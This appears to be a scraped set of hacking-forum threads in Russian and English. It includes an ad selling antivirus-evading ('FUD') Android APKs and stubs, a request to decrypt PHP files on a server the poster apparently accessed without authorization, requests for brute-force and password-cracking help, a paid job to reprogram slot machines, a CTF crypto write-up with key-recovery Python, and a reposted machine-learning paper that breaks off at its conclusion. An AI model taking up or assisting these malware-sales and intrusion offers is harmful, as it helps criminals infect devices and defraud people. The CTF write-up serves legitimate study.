
При необходимости создания нового tagset-а отправитель создает новый ключ x25519 и добавляет в следующий пакет блок Next Key с публичным ключом, получатель тоже создает новый ключ и отсылает Next Key в ответ. После успешного согласования стороны начинают использовать новый tagset, иначе продолжают отправлять Next Key, используя предыдущий tagset.

Новый протокол уже реализован и используется в последних релизах I2P: 0.9.46 джавы и 2.32.0 i2pd. Для включения его, в настройки тоннелей следует добавить параметры i2cp.leaseSetType=3 и
i2cp.leaseSetEncType=0,4 для взаимодействия с адресами как со старым так и с новым шифрованием или i2cp.leaseSetType=3 и i2cp.leaseSetEncType=4 только для нового шифрования. Также возможна работа вместе с шифрованными LeaseSet-ми с параметром i2cp.leaseSetType=5.

Автор @orignal, разраб i2pd

fud apks android maker
ID: 676536fbb4103b69df3738ad
Thread ID: 37545
Created: 2020-05-20T06:38:45+0000
Last Post: 2020-05-20T13:42:52+0000
Author: AsSdsiwi
Replies: 1 Views: 1K

**Here is the price list:
Package starting from 43usd to 300usd. Here are the package list:
1. For 43usd you get only 1 fud apk with 2days support
2.For 85usd you will get 3fud apk and 7days support.
3. In 150 USD you will get 10fud and 15 days support.
4. In 250usd you will get 20 fud apk and 1 month support.
5. In 300usd you get 30 fud apk with 1month support.
6. PRIVATE FUD STUB FOR 350USD 45DAYS SUPPORT.

t.me/lolsez <----- telegram

Here support for days means that if u face any kind of any issue with your fud, then ill be make a new fresh fud again for you. **

Нужна помощь с SourceGuardian
ID: 676536fbb4103b69df3738ae
Thread ID: 37468
Created: 2020-05-18T12:51:46+0000
Last Post: 2020-05-19T17:56:46+0000
Author: Transylvania
Replies: 2 Views: 1K

Здравствуйте, получил доступ к серверу, на котором php файлы зашифрованы SourceGuardian. Поиск по этой теме ничего не дал. Находил сайты, на которых можно расшифровать за $, но содержимое этих файлов не для всех глаз. Собственно ищу хоть какую-то информацию по возможности их расшифровки.

[поиск] sha-1 wordlist
ID: 676536fbb4103b69df3738b1
Thread ID: 36509
Created: 2020-04-19T12:05:56+0000
Last Post: 2020-04-19T12:05:56+0000
Author: roshen
Replies: 0 Views: 1K

Нужен словарь только из хешей sha-1, желательно весь диапазон.
Возможно вознаграждение в $

Декриптор для b64, нет это не base64, где такой взять?
ID: 676536fbb4103b69df3738d7
Thread ID: 32230
Created: 2019-10-03T03:51:26+0000
Last Post: 2019-10-03T18:35:10+0000
Author: ViCode
Replies: 1 Views: 1K

Надо расшифровать строку закодированную в b64 че за алгоритм...похож на двоичный код но декодировать не могу.

Как заняться брутфорсом?
ID: 676536fbb4103b69df3737eb
Thread ID: 74744
Created: 2022-10-26T19:41:14+0000
Last Post: 2022-11-01T19:23:46+0000
Author: Englishmen22
Replies: 8 Views: 997

Доброго времени суток, хотел бы поинтересоваться есть ли бесплатные мануалы по бруту очень хотел бы заняться но не могу найти мануалы если есть какие-нибудь советы, мануалы то поделитесь пожайлуста.

Cracking a password on excel password protected document
ID: 676536fbb4103b69df3737c0
Thread ID: 85240
Created: 2023-04-05T03:54:04+0000
Last Post: 2023-04-05T17:31:48+0000
Author: EXPENSIVE_MASON
Replies: 2 Views: 997

Hi i wanted to know if it's possible to crack the password on a excel document that has a password>?

Crypt, XOR, взлом нешифрованного ZIP и ГПСЧ. Решение задач с r0от-мi Crypto.
ID: 676536fbb4103b69df37389e
Thread ID: 41704
Created: 2020-09-03T11:15:47+0000
Last Post: 2020-09-03T11:15:47+0000
Author: tabac
Prefix: Мануал/Книга
Replies: 0 Views: 992

В данной статье узнаем про функцию crypt, узнаем как подбирать пароли к ZIP архиву с незашифрованными именами файлов, познакомимся с утилитой xortool, а так же разберемся с генератором псевдослучайных чисел.

ELF64 — PID encryption

image

Смотрим исходный код. Программа принимает в качестве аргумента строку и сравнивает ее с тем, что вернет функция cryрt от РID программы и строки "$1$awesome".

Функция cryрt — библиотечная функция, которая используется для вычисления хеша пароля. На выходе функции не просто хеш, а строка текста, которая также содержит соль, используемый хеш-алгоритм и параметры, с которыми был получен хеш, такие, как количество раундов и другие опции.

image

Данная функция включена в языки программирования Perl, PHP, Pike, Python и Ruby. Таким образом нужно угадать PID, с которым будет запущена программа. Подключившись по SSH видим, что нам дают программу, ее исходник, и файл с паролем.
![image](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2F9m%2F8i%2Fk7%2F9m8ik71wa- fei5gcp-hbcm01mpk.png&hash=fbffed5b7abf0ac5db11dc9264068677)

В Linux каждое новое запущенное приложение будет получать наиболее приближенное инкрементированое свободное значение PID. К примеру, несколько раз подряд выполним ps. PID с каждым разом инкременитруется.
image

Так можно посчитать хеш от любого свободного PID, и с этим значением в качестве аргумента бесконечно запускать программу. Давайте возмем PID, к примеру 30000 и выполним функцию crypt. Я сделаю это в python.
image

Теперь запустим бесконечный цикл выполнения программы.
image

И спустя минуту, получаем оболочку, откуда читаем пароль.
image

File — PKZIP

image

Скачиваем файл, который нам дают. Это ZIP архив, защищенный паролем. Давайте переберем пароль. Так как имена файлов не зашифрованы, сделаем это утилитой fcrackzip, а в качестве словаря возьмем rockyou.txt.
image

Разархивировав, получаем текстовый файл, где написано, что ответом является пароль от архива.
image

Known plaintext — XOR

image

Нам дают зашифрованную с помощью XOR BMP картинку. Так как у нас использовался XOR (предполагаю с ключом малой длины) и имеется большой шифртекст, то можно использовать xortool.
image

Таким образом xortool считает, что наиболее вероятная длина ключа 6. Попросим его определить ключ.
image

Отлично. Ключ определен, но xortool уже сам расшифровал файл и сохранил в директорию xortool_out.
image

Code — Pseudo Random Number Generator

image

Нам дают программу, с помощью которой зашифрован файл, а так же сам файл. К тому же говорят, что шифрование происходило в декабре 2012. Давайте рабирать код.

В самом начале программы запоминается текущее время (точнее пройденное с 1 января 1970). Далее проверяется наличие параметра программы — путь к файлу.
image

image

Далее этот файл открывается для чтения и создается новый файл для записи. Дескрипторы обоих файлов передаются в функцию crypt_file.
image

В crypt_file функция genere_key() вовращает ключ 32 байта, который используется для XOR шифрования файла. Результат шифрования записывается в новый созданный файл.
image

Ключ составляется псевдослучайным образом. Из представленного алфавита на каждом шаге выбирается значение в зависимости от значения holdrand, которое также изменяется на каждом шаге, при этом в самом начале оно равно текущему времени.
image

Таким образом, нам нужно сгенерировать возможные ключи. Начальный код на python выглядит так.

Code:Copy to clipboard

keys = []
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"
l = len(charset)
holdrand = None

def Rand():
    global holdrand
    holdrand = holdrand * 214013 + 2531011
    return ((holdrand >> 16) & 0x7fff)

def genere_key():
    key = "".join( [ charset[Rand()%l] for _ in range(32) ] )  
    keys.append(key)

start = ?
fin = ?

for ts in range(start, fin):
    holdrand = ts
    genere_key()

Теперь разберемся с границами времени. Так как шифрование производилось в декабре 2012, то нам нужно перебрать все возможные значения от 1 до 31 декабря.
![image](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2F_p%2Fvj%2Fi-%2F_pvji- osfxwv0e941u66gdemhmu.png&hash=a4ba8674930e4cab143f558e255a32b7)

Code:Copy to clipboard

start = 1354320000
fin = 1356998400

С границами определились, но ключей все равно будет очень много. Благо в файле сохранилось его расширение — это bz2.
![image](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2F3m%2Fue%2Ftq%2F3muetqnmr68aqqxdhurwzs- vae4.png&hash=22370b66b13f27f26131db1d392b16ac)

То есть первые три байта файла должны быть “BZh”, четверым должен быть один из символов от “1” до “9”, и следующие шесть байт — 0x314159265359. Допишем для ключей фильтр. Для этого нам нужны первые байты шифртекста.
image

Code:Copy to clipboard

def key_filter(key):
    ctext = "\x23\x17\x5d\x70\x5a\x11\x6d\x67\x37\x08"
    BZh = "BZh"
    sign = "".join( [ chr(ord(ctext[i])^ord(BZh[i])) for i in range(3) ] )
    byte4 = "".join( [ chr(ord(ctext[3])^ord(i)) for i in "123456789" ] )
    bytePI = chr(ord(ctext[4])^0x31)
    if sign in key[:3] and key[3] in byte4 and key[4] in bytePI:
        print(key)

И получим всего один ключ.
image

И с помощью того же xortool можно проксорить файл с ключом.
image
Таким образом вы расшифровали архив.

автор @RalfHacker

[Поиск] SlotMachien Merkur Coder/программист
ID: 676536fbb4103b69df3737e0
Thread ID: 76908
Created: 2022-11-28T22:51:28+0000
Last Post: 2022-11-28T22:51:28+0000
Author: JackTheRipper
Replies: 0 Views: 991

[Поиск] SlotMachien Merkur Coder

Очень хороший заработок!
Должен уметь кодировать и перепрограммировать игровой автомат

Люди со знанием игровых автоматов также могут сообщить

первый контакт Пм

Understanding Deep Learning (Still) Requires Rethinking Generalization
ID: 676536fbb4103b69df373878
Thread ID: 48946
Created: 2021-03-04T21:26:16+0000
Last Post: 2021-03-04T21:26:16+0000
Author: ThunderFish
Replies: 0 Views: 991

Understanding Deep Learning (Still) Requires Rethinking Generalization​

![](/proxy.php?image=https%3A%2F%2Fcacm.acm.org%2Fsystem%2Fassets%2F0003%2F9231%2F021521_WorldQuant_Understanding- Deep.large.jpg%3F1613514461%261613514461&hash=ab52e3cf77d14a5a21275d9e3bee4eb0)
Despite their massive size, successful deep artificial neural networks can exhibit a minimal gap between training and test performance. Conventional wisdom attributes small generalization error either to properties of the model family or to the regularization techniques used during training.

Through extensive systematic experiments, we show how these traditional approaches fail to explain why large neural networks generalize well in practice. Specifically, our experiments establish that state-of-the-art convolutional networks for image classification trained with stochastic gradient methods easily fit a random labeling of the training data. This phenomenon is qualitatively unaffected by explicit regularization and occurs even if we replace the true images by completely unstructured random noise. We corroborate these experimental findings with a theoretical construction showing that simple depth two neural networks already have perfect finite sample expressively as soon as the number of parameters exceeds the number of data points as it usually does in practice.
We interpret our experimental findings by comparison with traditional models.
Furthermore, we supplement this republication with a new section at the end summarizing recent progresses in the field since the original version of this paper.

1. Introduction
For centuries, scientists, policymakers, actuaries, and salesmen alike have exploited the empirical fact that unknown outcomes, to be in the future or unobserved, often trace regularities found in past observations. We call this idea generalization: finding rules consistent with available data that apply to instances we have yet to encounter.
Supervised machine learning builds on statistical tradition in how it formalizes the idea of generalization. We assume observations come from a fixed data generating process, such as samples drawn from a fixed distribution. In a first optimization step, called training, we fit a model to a set of data. In a second step, called testing, we judge the model by how well it performs on newly generated data from the very same process.
This notion of generalization as test-time performance can seem mundane. After all, it simply requires the model to achieve consistent success on the same data generating process as was encountered during training. Yet the seemingly simple question of what theory underwrites the generalization ability of a model has occupied the machine learning research community for decades.
There are a variety of theories proposed to explain generalization.
Uniform convergence, margin theory, and algorithmic stability are but a few of the important conceptual tools to reason about generalization. Central too much theory are different notions of model complexity. Corresponding generalization bounds quantify how much data is needed as a function of a particular complexity measure. Despite much significant theoretical work, the prescriptive and descriptive value of these theories remains debated.
This work takes a step back. We do not offer any new theory of generalization. Rather, we offer a few simple experiments to interrogate the empirical import of different purported theories of generalization. With these experiments at hand, we broadly investigate what practices do and do not promote generalization, what does and does not measure generalization?
1.1. The randomization test
In our primary experiment, we create a copy of the training data where we replace each label independently by a random label chosen from the set of valid labels. A dog picture labeled "dog" might thus become a dog picture labeled "airplane". The randomization breaks any relationship between the instance, for example, the image, and the label. We then run the learning algorithm both on the natural data and on the randomized data with identical settings and model choice. By design, no generalization is possible on the randomized data. After all, we fit the model against random labels!
For any purported measure of generalization, we can now compare how it fares on the natural data versus the randomized data. If it turns out to be the same in both cases, it could not possibly be a good measure of generalization for it cannot even distinguish learning from natural data (where generalization is possible) from learning on randomized data (where no generalization is possible). Our primary observation is:
Deep neural networks easily fit random labels.
More precisely, when trained on a completely random labeling of the true data, neural networks achieve 0 training error. The test error, of course, is no better than random chance as there is no correlation between the training labels and the test labels. In other words, by randomizing labels alone we can force the generalization error of a model to jump up considerably without changing the model, its size, hyperparameters, or the optimizer. We establish this fact for several standard architectures trained on the CIFAR10 and ImageNet classification benchmarks. While simple to state, this observation has profound implications from a statistical learning perspective:
1. The effective capacity of neural networks is sufficient for memorizing the entire data set.
2. Even optimization on random labels remains easy. In fact, training time increases only by a small constant factor compared with training on the true labels.
3. Randomizing labels is solely a data transformation, leaving all other properties of the learning problem unchanged.
In particular, we find that many of the more popular explanations of generalization fail to capture what's happening in state-of-the-art deep learning models.
Extending on this first set of experiments, we also replace the true images by completely random pixels (e.g., Gaussian noise) and observe that convolutional neural networks continue to fit the data with zero training error. This shows that despite their structure, convolutional neural nets can fit random noise. We furthermore vary the amount of randomization, interpolating smoothly between the case of no noise and complete noise. This leads to a range of intermediate learning problems where there remains some level of signal in the labels. We observe a steady deterioration of the generalization error as we increase the noise level. This shows that neural networks are able to capture the remaining signal in the data while at the same time fit the noisy part using brute-force.
We discuss in further detail below how these observations rule out several standard generalization bounds as possible explanations for the generalization performance of state-of-the-art neural networks.
1.2. The role of regularization
Regularization can be thought of as the operational counterpart of a notion of model complexity. When the complexity of a model is very high, regularization introduces algorithmic tweaks intended to reward models of lower complexity. Regularization is a popular technique to make optimization problems "well posed": when an infinite number of solutions agree with the data, regularization breaks ties in favor of the solution with the lowest complexity.
Our second set of experiments interrogates the role that regularization plays in training over parameterized neural networks. Our experiments reveal that most of the regularization techniques in deep learning are not necessary for generalization: if we turn off the regularization parameters, test-time performance remains strong. Hence, explicit regularization alone does not suffice to explain how deep learning models generalize. To summarize our finding:
Explicit regularization may improve generalization performance, but is neither necessary nor by itself sufficient for controlling generalization error.
While explicit regularizes like "dropout" and "weight-decay" may not be essential for generalization, it is certainly the case that not all models that fit the training data well generalize well. Indeed, in neural networks, we almost always choose our model as the output of running stochastic gradient descent. Appealing to linear models, we analyze how SGD acts as an implicit regularized. For linear models, SGD always converges to a solution with small norm. Hence, the algorithm itself is implicitly regularizing the solution. Indeed, we show on small data sets that even Gaussian kernel methods can generalize well with no regularization. Though this does not explain why certain architectures generalize better than other architectures, it does suggest that more investigation is needed to understand exactly what the properties are inherited by models that were trained using SGD.
1.3. Finite sample expressively
We complement our empirical observations with a theoretical construction showing that generically large neural networks can express any labeling of the training data. More formally, we exhibit a very simple two-layer ReLU network with p = 2n + d parameters that can express any labeling of any sample of size n in d dimensions. A previous construction due to Livni et al. achieved a similar result with far more parameters, namely, O(DN). While our depth-2 network inevitably has large width, we can also come up with a depth k network in which each layer has only O(n/k) parameters.
While prior expressively results focused on what functions neural nets can represent over the entire domain, we focus instead on the expressively of neural nets with regard to a finite sample. In contrast to existing depth separations in function space, our result shows that even depth-2 networks of linear size can already represent any labeling of the training data.
1.4. Related prior work
Below we discuss some related prior work. In Section 6.1, we discuss recent work that followed the initial publication of our work.
Barlett proved bounds on the fat shattering dimension of multilayer perceptrons with sigmoid activations in terms of the ℓ1-norm of the weights at each node. This important result gives a generalization bound for neural nets that is independent of the network size. However, for RELU networks, the ℓ1-norm is no longer informative. This leads to the question of whether there is a different form of capacity control that bounds generalization error for large neural nets. This question was raised in a thought-provoking work by Neyshabur et al., who argued through experiments that network size is not the main form of capacity control for neural networks. An analogy to matrix factorization illustrated the importance of implicit regularization.
Hardt et al. give an upper bound on the generalization error of a model trained with stochastic gradient descent in terms of the number of steps gradient descent took. Their analysis goes through the notion of uniform stability.8 As we point out in this work, uniform stability of a learning algorithm is independent of the labeling of the training data. Hence, the concept is not strong enough to distinguish between the models trained on the true labels (small generalization error) and models trained on the random labels (large generalization error). This also highlights why the analysis of Hardt et al. for nonconvex optimization was rather pessimistic, allowing only a very few passes over the data. Our results show that even empirically training neural networks is not uniformly stable for many passes over the data.
There has been much work on the representational power of neural networks, starting from universal approximation theorems for multi-layer perceptrons. All of these results are at the population level characterizing which mathematical functions certain families of neural networks can express over the entire domain. We instead study the representational power of neural networks for a finite sample of size n. This leads to a very simple proof that even O(n)-sized two-layer perceptrons have universal finite-sample expressivity.
2. Effective Capacity of Neural Networks
The size of a model family is often huge as it counts all possible functions in a certain set, including those that are unlikely to be found by the learning algorithm. By effective capacity, we informally refer to the size of the subset of models that is effectively achievable by the learning procedure. The capacity of this subset could be much smaller as it contains only "well- behaved" functions produced by some specific optimization algorithms, with bounded computation budget, and sometimes with explicit or implicit regularizations. Our goal is to understand the effective model capacity of feed-forward neural networks. Toward this goal, we choose a methodology inspired by nonparametric randomization tests. Specifically, we take a candidate architecture and train it both on the true data and on a copy of the data in which the true labels were replaced by random labels. In the second case, there is no longer any relationship between the instances and the class labels. As a result, learning is impossible. Intuition suggests that this impossibility should manifest itself clearly during training, for example, by training not converging or slowing down substantially. To our surprise, several properties of the training process for multiple standard architectures are largely unaffected by this transformation of the labels. This poses a conceptual challenge. Whatever justification we had for expecting a small generalization error to begin with must no longer apply to the case of random labels.
To gain further insight into this phenomenon, we experiment with different levels of randomization exploring the continuum between no label noise and completely corrupted labels. We also try out different randomizations of the inputs (rather than labels), arriving at the same general conclusion.
The experiments are run on two image classification data-sets, the CIFAR10 dataset and the ImageNet ILSVRC 2012 dataset. We test the Inception V3 architecture on ImageNet and a smaller version of Inception, Alexnet, and MLPs on CIFAR10. Please see Appendix A of Zhang et al.44 for more details of the experimental setup.
2.1. Fitting random labels and pixels
We run our experiments with the following modifications of the labels and input images:
True labels: the original dataset without modification.
Partially corrupted labels: independently with probability p, the label of each image is corrupted as a uniform random class.
Random labels: all the labels are replaced with random ones.
Shuffled pixels: a random permutation of the pixels is chosen and then the same permutation is applied to all the images in both training and test set.
Random pixels: a different random permutation is applied to each image independently.
Gaussian: A Gaussian distribution (with matching mean and variance to the original image dataset) is used to generate random pixels for each image.
Surprisingly, stochastic gradient descent with unchanged hyperparameter settings can optimize the weights to fit to random labels perfectly, even though the random labels completely destroy the relationship between images and labels. We further break the structure of the images by shuffling the image pixels, and even completely resampling the random pixels from a Gaussian distribution. But the networks we tested are still able to fit.
Figure 1a shows the learning curves of the Inception model on the CIFAR10 dataset under various settings. We expect the objective function to take longer to start decreasing on random labels because initially the label assignments for every training sample are uncorrelated. Therefore, large prediction errors are backpropagated to make large gradients for parameter updates. However, since the random labels are fixed and consistent across epochs, the network starts fitting after going through the training set multiple times. We find the following observations for fitting random labels very interesting: (a) we do not need to change the learning rate schedule; (b) once the fitting starts, it converges quickly; and (c) it converges to (over)fit the training set perfectly. Also note that "random pixels" and "Gaussian" start converging faster than "random labels." This might be because with random pixels, the inputs are more separated from each other than natural images that originally belong to the same category, therefore, easier to build a network for arbitrary label assignments.

Figure 1. Fitting random labels and random pixels on CIFAR10. (a) The training loss of various experiment settings decaying with the training steps. (b) The relative convergence time with different label corruption ratio. (c) The test error (also the generalization error since training error is 0) under different label corruptions.
On the CIFAR10 dataset, Alexnet and MLPs all converge to zero loss on the training set. The shaded rows in Table 1 show the exact numbers and experimental setup. We also tested random labels on the ImageNet dataset. As shown in the last three rows of Table 2 in Appendix of Zhang et al.,44 although it does not reach the perfect 100% top-1 accuracy, 95.20% accuracy is still very surprising for 1.2 million random labels from 1000 categories. Note that we did not do any hyperparameter tuning when switching from the true labels to the random labels. It is likely that with some modification of the hyperparameters, perfect accuracy could be achieved on random labels. The network also manages to reach ∼90% top-1 accuracy even with explicit regularizers turned on.

Table 1. The training and test accuracy (in %) of various models on the CIFAR10 dataset.
Partially corrupted labels.
We further inspect the behavior of neural network training with a varying level of label corruptions from 0 (no corruption) to 1 (complete random labels) on the CIFAR10 dataset. The networks fit the corrupted training set perfectly for all the cases. Figure 1b shows the slowdown of the convergence time with increasing level of label noises. Figure 1c depicts the test errors after convergence. Since the training errors are always zero, the test errors are the same as generalization errors. As the noise level approaches 1, the generalization errors converge to 90%—the performance of random guessing on CIFAR10.
2.2. Implications
In light of our randomization experiments, we discuss how our findings pose a challenge for several traditional approaches for reasoning about generalization.
Rademacher complexity and VC-dimension. Rademacher complexity is commonly used and flexible complexity measure of a hypothesis class. The empirical Rademacher complexity of a function class F on a dataset {z1, …, zn} is defined as

where σ1, …, σn ∈ {±1} are i.i.d. uniform random variables. Usually we aim to bound the Rademacher complexity of the loss function class L = {ℓ(z = (x, y)) = ℓ(h(x), y) : h ∈ H},, where zi = (xi, yi) are input-output pairs. For L-Lipschitz loss function ℓ and real valued hypothesis class cacm6403_o.gif by contraction lemma. The Rademacher complexity measures the ability of a function class to fit random ±1 binary label assignments, which closely resemble our randomization test. Since our empirical results on randomization tests suggest that many neural networks fit the training set with random labels perfectly, we expect that cacm6403_p.gif approximately achieves the maximum for the corresponding loss class L. For example, for the indicator loss, cacm6403_q.gif. This is a trivial upper bound on the Rademacher complexity that does not lead to useful generalization bounds in realistic settings. A similar reasoning applies to VC-dimension and its continuous analog fat-shattering dimension, unless we further restrict the network. While Barlett proves a bound on the fat-shattering dimension in terms of ℓ1 norm bounds on the weights of the network, this bound does not apply to the ReLU networks that we consider here. This result was generalized to other norms by Neyshabur et al., but even these do not seem to explain the generalization behavior that we observe.

Uniform stability. Stepping away from complexity measures of the hypothesis class, we can instead consider properties of the algorithm used for training. This is commonly done with some notion of stability, such as uniform stability. Uniform stability of an algorithm A measures how sensitive the algorithm is to the replacement of a single example. However, it is solely a property of the algorithm, which does not take into account specifics of the data or the distribution of the labels. It is possible to define weaker notions of stability. The weakest stability measure is directly equivalent to bounding generalization error and does take the data into account. However, it has been difficult to utilize this weaker stability notion effectively.
3. The Role of Regularization
Most of our randomization tests are performed with explicit regularization turned off. Regularizers are the standard tool in theory and practice to mitigate overfitting in the regime when there are more parameters than data points.42 The basic idea is that although the original hypothesis is too large to generalize well, regularizers help confine learning to a subset of the hypothesis space with manageable complexity. By adding an explicit regularizer, say by penalizing the norm of the optimal solution, the effective Rademacher complexity of the possible solutions is dramatically reduced.
As we will see, in deep learning, explicit regularization seems to play a rather different role. As the bottom rows of Table 2 in Appendix of Zhang et al. show, even with dropout and weight decay, InceptionV3 is still able to fit the random training set extremely well if not perfectly. Although not shown explicitly, on CIFAR10, both Inception and MLPs still fit perfectly the random training set with weight decay turned on. However, AlexNet with weight decay turned on fails to converge on random labels. To investigate the role of regularization in deep learning, we explicitly compare behavior of deep nets learning with and without regularizers.
Instead of doing a full survey of all kinds of regularization techniques introduced for deep learning, we simply take several commonly used network architectures and compare the behavior when turning off the equipped regularizers.
The following regularizers are covered:
Data augmentation: augment the training set via domain-specific transformations. For image data, commonly used transformations include random cropping, random perturbation of brightness, saturation, hue, and contrast.
Weight decay: equivalent to a ℓ2 regularizer on the weights; also equivalent to a hard constrain of the weights to an Euclidean ball, with the radius decided by the amount of weight decay.
Dropout: mask out each element of a layer output randomly with a given dropout probability. Only the Inception V3 for ImageNet uses dropout in our experiments.

Table 1 shows the results of Inception, Alexnet, and MLPs on CIFAR10, toggling the use of data augmentation and weight decay. Both regularization techniques help to improve the generalization performance, but even with all of the regularizers turned off, all of the models still generalize very well.

Table 2 in Appendix of Zhang et al. shows a similar experiment on the ImageNet dataset. A 18% top-1 accuracy drop is observed when we turn off all the regularizers. Specifically, the top-1 accuracy without regularization is 59.80%, while random guessing only achieves 0.1% top-1 accuracy on ImageNet. More strikingly, with data augmentation on but other explicit regularizers off, Inception is able to achieve a top-1 accuracy of 72.95%. Indeed, it seems like the ability to augment the data using known symmetries is significantly more powerful than just tuning weight decay or preventing low training error.
Inception achieves 80.38% top-5 accuracy without regularization, while the reported number of the winner of ILSVRC 2012 achieved 83.6%. So while regularization is important, bigger gains can be achieved by simply changing the model architecture. It is difficult to say that the regularizers count as a fundamental phase change in the generalization capability of deep nets.
3.1. Implicit regularizations
Early stopping was shown to implicitly regularize on some convex learning problems. In Table 2 in Appendix of Zhang et al. we show in parentheses the best test accuracy along the training process. It confirms that early stopping could potentiallya improve the generalization performance. Figure 2a shows the training and testing accuracy on ImageNet. The shaded area indicates the accumulative best test accuracy, as a reference of potential performance gain for early stopping. However, on the CIFAR10 dataset, we do not observe any potential benefit of early stopping.

Figure 2. Effects of implicit regularizers on generalization performance. aug is data augmentation; wd is weight decay; BN is batch normalization. The shaded areas are the cumulative best test accuracy, as an indicator of potential performance gain of early stopping. (a) Early stopping could potentially improve generalization when other regularizers are absent. (b) Early stopping is not necessarily helpful on CIFAR10, but batch normalization stabilizes the training process and improves the generalization.
Batch normalization is an operator that normalizes the layer responses within each mini-batch. It has been widely adopted in many modern neural network architectures such as Inception and Residual Networks. Although not explicitly designed for regularization, batch normalization is usually found to improve the generalization performance. The Inception architecture uses a lot of batch normalization layers. To test the impact of batch normalization, we create a "Inception w/o BatchNorm" architecture that is exactly the same as Inception, except with all the batch normalization layers removed. Figure 2b compares the learning curves of the two variants of Inception on CIFAR10, with all the explicit regularizers turned off. The normalization operator helps stabilize the learning dynamics, but the impact on the generalization performance is only 3∼4%. The exact accuracy is also listed in the section "Inception w/o BatchNorm" of Table 1.
In summary, our observations on both explicit and implicit regularizers are consistently suggesting that regularizers, when properly tuned, could help to improve the generalization performance. However, it is unlikely that the regularizers are the fundamental reason for generalization, as the networks continue to perform well after all the regularizers removed.
4. Finite-Sample Expressivity
Much effort has gone into characterizing the expressivity of neural networks, for example, Cybenko, Mhaskar, Delalleau and Bengio, Mhaskar and Poggio, Eldan and Shamir, Telgarsky, Cohen and Shashua Almost all of these results are at the "population level" showing what functions of the entire domain can and cannot be represented by certain classes of neural networks with certain number of parameters. For example, it is known that at the population level, depth k is generically more powerful than depth k − 1.
We argue that what is more relevant in practice is the expressive power of neural networks on a finite sample of size n. It is possible to transfer population level results to finite sample results using uniform convergence theorems. However, such uniform convergence bounds would require the sample size to be polynomially large in the dimension of the input and exponential in the depth of the network, posing a clearly unrealistic requirement in practice.
We instead directly analyze the finite-sample expressivity of neural networks, noting that this dramatically simplifies the picture. Specifically, as soon as the number of parameters p of a networks is greater than n, even simple two- layer neural networks can represent any function of the input sample. We say that a neural network C can represent any function of a sample of size n in d dimensions if for every sample S ⊆ Rd with |S| = n and every function f: S → R, there exists a setting of the weights of C such that C(x) = f(x) for every x ∈ S.
THEOREM 1. There exists a two-layer neural network with ReLU activations and 2n + d weights that can represent any function on a sample of size n in d dimensions.
The proof is given in Appendix C of Zhang et al., where we also discuss how to achieve width O(n/k) with depth k. We remark that it is a simple exercise to give bounds on the weights of the coefficient vectors in our construction. Lemma 144 gives a bound on the smallest eigenvalue of the matrix A. This can be used to give reasonable bounds on the weight of the solution w.
5. Implicit Regularization: An Appeal to Linear Models
Although deep neural nets remain mysterious for many reasons, we note in this section that it is not necessarily easy to understand the source of generalization for linear models either. Indeed, it is useful to appeal to the simple case of linear models to see if there are parallel insights that can help us better understand neural networks.
Suppose we collect n distinct data points {(xi, yi)} where xi is d-dimensional feature vectors and yi is labels. Letting loss denote a nonnegative loss function with loss(y, y) = 0, consider the empirical risk minimization (ERM) problem

If d ≥ n, then we can fit any labeling. But is it then possible to generalize with such a rich model class and no explicit regularization?
Let X denote the n × d data matrix whose i-th row is cacm6403_r.gif. If X has rank n, then the system of equations Xw = y has an infinite number of solutions regardless of the right-hand side. We can find a global minimum in the ERM problem (2) by simply solving this linear system.
But do all global minima generalize equally well? Is there a way to determine when one global minimum will generalize whereas another will not? One popular way to understand quality of minima is the curvature of the loss function at the solution. But in the linear case, the curvature of all optimal solutions is the same.9 To see this, note that in the case when yi is a scalar,

where cacm6403_s.gif. A similar formula can be found when y is vector valued. In particular, the Hessian is not a function of the choice of w. Moreover, the Hessian is degenerate at all global optimal solutions.
If curvature does not distinguish global minima, what does? A promising direction is to consider the workhorse algorithm, stochastic gradient descent (SGD), and inspect which solution SGD converges to. Since the SGD update takes the form wt+1 = wt − ηtetxit where ηi is the step size and et is the prediction error loss. If w0 = 0, we must have that the solution has the form cacm6403_t.gif for some coefficients α. Hence, if we run SGD we have that w = XTα lies in the span of the data points. If we also perfectly interpolate the labels, we have Xw = y. Enforcing both of these identities, this reduces to the single equation

which has a unique solution. Note that this equation only depends on the dot- products between the data points xi. We have thus derived the "kernel trick"34—albeit in a round-about fashion.
We can therefore perfectly fit any set of labels by forming the Gram matrix (aka the kernel matrix) on the data K = XXT and solving the linear system Kα = y for α. This is an n × n linear system that can be solved on standard workstations whenever n is less than a hundred thousand, as is the case for small benchmarks like CIFAR10 and MNIST.
Quite surprisingly, fitting the training labels exactly yields excellent performance for convex models. On MNIST with no preprocessing, we are able to achieve a test error of 1.2% by simply solving Kα = y with a Gaussian kernel on the pixel representation. Note that this is not exactly simple as the kernel matrix requires 30 GB to store in memory. Nonetheless, this system can be solved in under 3 minutes on a commodity workstation with 24 cores and 256 GB of RAM with a conventional LAPACK call. By first applying a Gabor wavelet transform to the data and then solving (3), the error on MNIST drops to 0.6%. Surprisingly, adding regularization does not improve either model's performance!
Similar results follow for CIFAR10. Simply applying a Gaussian kernel on pixels and using no regularization achieves 46% test error. By preprocessing with a random convolutional neural net with 32,000 random filters, this test error drops to 17% errorb. Adding ℓ2 regularization further reduces this number to 15% error. Note that this is without any data augmentation.

Note that this kernel solution has an appealing interpretation in terms of implicit regularization. Simple algebra reveals that it is equivalent to the minimum ℓ2-norm solution of Xw = y. That is, out of all models that exactly fit the data, SGD will often converge to the solution with minimum norm. It is very easy to construct solutions of Xw = y that do not generalize: for example, one could fit a Gaussian kernel to data and place the centers at random points. Another simple example would be to force the data to fit random labels on the test data. In both cases, the norm of the solution is significantly larger than the minimum norm solution.
Unfortunately, this notion of minimum norm is not predictive of generalization performance. For example, returning to the MNIST example, the ℓ2-norm of the minimum norm solution with no preprocessing is approximately 220. With wavelet preprocessing, the norm jumps to 390. Yet the test error drops by a factor of 2. So while this minimum-norm intuition may provide some guidance to new algorithm design, it is only a very small piece of the generalization story.
6. Conclusion
